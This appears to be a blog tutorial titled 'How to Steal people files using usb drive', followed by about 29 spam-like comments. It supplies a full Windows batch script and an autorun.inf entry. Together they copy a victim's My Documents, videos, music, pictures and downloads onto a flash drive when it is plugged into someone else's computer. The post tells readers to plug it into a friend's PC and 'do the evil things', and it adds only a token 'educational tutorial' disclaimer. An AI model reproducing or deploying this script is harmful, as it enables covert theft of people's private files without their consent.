How to Steal people files using usb drive

I am going to teach you how you can do this from batch file with the help of autorun.inf file.
Let me tell you the basic things what will happen.

When you plug in in your Pen drive, system will look up for autorun.inf (incase if autorun is not disabled for your drive from the system).

Then we’ll input some command in autorun.inf in such a way that it will load the batch file that does the magic of copying all the files from your PC. In this demonstration I am copying only the files and folders in My Documents.

Here goes the batch code:

@echo off
:CHECK
if not exist "%homedrive%\Copied_files" md "%homedrive%\Copied_files"
if exist "%systemdrive%\Documents and Settings" goto COPIER
goto ERROR

:COPIER
if not exist "%homedrive%\Copied_files\%computername%" md "%homedrive%\Copied_files\%computername%"
if not exist "%homedrive%\Copied_files\%computername%\VIDEOS" md "%homedrive%\Copied_files\%computername%\VIDEOS"
if not exist "%homedrive%\Copied_files\%computername%\PICTURES" md "%homedrive%\Copied_files\%computername%\PICTURES"
if not exist "%homedrive%\Copied_files\%computername%\MUSIC" md "%homedrive%\Copied_files\%computername%\MUSIC"
if not exist "%homedrive%\Copied_files\%computername%\DOWNLOADS" md "%homedrive%\Copied_files\%computername%\DOWNLOADS"
copy /y "%userprofile%\My Documents\*.*" "%homedrive%\Copied_files\%computername%"
copy /y "%userprofile%\My Documents\My Videos" "%homedrive%\Copied_files\%computername%\VIDEOS"
copy /y "%userprofile%\My Documents\My Music" "%homedrive%\Copied_files\%computername%\MUSIC"
copy /y "%userprofile%\My Documents\My Pictures" "%homedrive%\Copied_files\%computername%\PICTURES"
copy /y "%userprofile%\My Documents\Downloads" "%homedrive%\Copied_files\%computername%\DOWNLOADS"
MSG %username% "DONE!"
exit

:ERROR
exit

What it actually does is in first case ,CHECK it checks if your removable storage have Copied_files folder or not. If it doesn’t have then it creates one by using MD (Make Directory) command.

Again it checks if you have documents and settings folder then it will assume that you are using windows XP. Other wise it will return an error and exits.

This happens because; in Windows XP the user’s documents are usually stored in %systemroot%\Documents and Settings folder.

Now I’ve defined another two cases after the first case CHECK, that is COPIER case and ERROR case.

Case COPIER will execute when the program recognizes it is Windows XP, where the real coying work goes o.

Case ERROR will execute when the Documents and Settings doesn’t exists in your system root.

This is just a simple use of Batch programming. Copy the above code and paste it in notepad and save it as Filename.bat.

Now let’s create a file that will load it automatically.

[autorun]
Open=Filename.bat
Action=File Copier

he above code goes in autorun.inf file. Open notepad and copy it and paste it and save as autorun.inf.

Copy the two files, autorun.inf and Filename.bat in your flash drive.

Then plug in your device to your friends PC and do the evil things.

Where is the flaw?

It shows Command prompt window and process of copying (thank god your noob never think that it actually copying).

Another thing is that it determines the windows by searching the file users and Docuemnts and settings, which is not the right way to determine your system operating system.

However this is just an educational tutorial.

Hope this tutorial was helpful.

29 comments:

Anonymous said...

文章是心情的反應~~祝妳天天寫的都是讓人開心的好文章哦!! ........................................

Anonymous said...

人不能像動物一樣活著,而應該追求知識和美德..................................................

Anonymous said...

Good health is above wealth.健康重於財富,要保重自己哦!..................................................

Anonymous said...

I guess I will need a lot.................................................................

Anonymous said...

喜歡你的部落格,留言請您繼續加油.................................................................

Anonymous said...

成熟,就是有能力適應生活中的模糊。.................................................................

Anonymous said...

人不能像動物一樣活著,而應該追求知識和美德.................................................................

Anonymous said...

成熟,就是有能力適應生活中的模糊。.................................................................

Anonymous said...

向著星球長驅直進的人,反比踟躕在峽路上的人,更容易達到目的。............................................................

Anonymous said...

It takes all kinds to make a world.............................................................

Anonymous said...

心平氣和~祝你也快樂~~..................................................................

Anonymous said...

everyday real you~!............................................................

Anonymous said...

加油-不論如何都支持你............................................................

Anonymous said...

Never put both feet in your mouth at the same time, because then you will not have a leg to stand on.............................................................

Anonymous said...

It may be that your sole purpose in life is simply to serve as a warning to others.............................................................

Anonymous said...

要拼才會贏,生活就像戰爭…什麼時候才有和平啊…>"<..................................................................

Anonymous said...

馬丁路德:「即使知道明天世界即將毀滅,我仍願在今天種下一棵小樹。」............................................................

Anonymous said...

天氣涼了~要注意身體喔@~@............................................................

Anonymous said...

無私分享,很不錯哦~謝謝~~............................................................

Anonymous said...

More haste, less speed..................................................................

Anonymous said...

great msg for me, thanks a lot dude˙﹏˙............................................................

Anonymous said...

Learning makes a good man better and ill man worse.............................................................

Anonymous said...

It is easier to get than to keep it.......................................................................

Anonymous said...

Man proposes, God disposes..................................................................

Anonymous said...

一個人的價值,應該看他貢獻了什麼,而不是他取得了什麼....................................................

Anonymous said...

寂寞又無聊 看到你的BLOG 加油喔!!..................................................

Anonymous said...

路過~很有趣吶...............................................................

Anonymous said...

世界上沒有本來就應該的事,因為老天爺也沒有劇本..................................................

孫邦柔 said...

精彩,thanks!............................................................

Official Free Search Engine Submission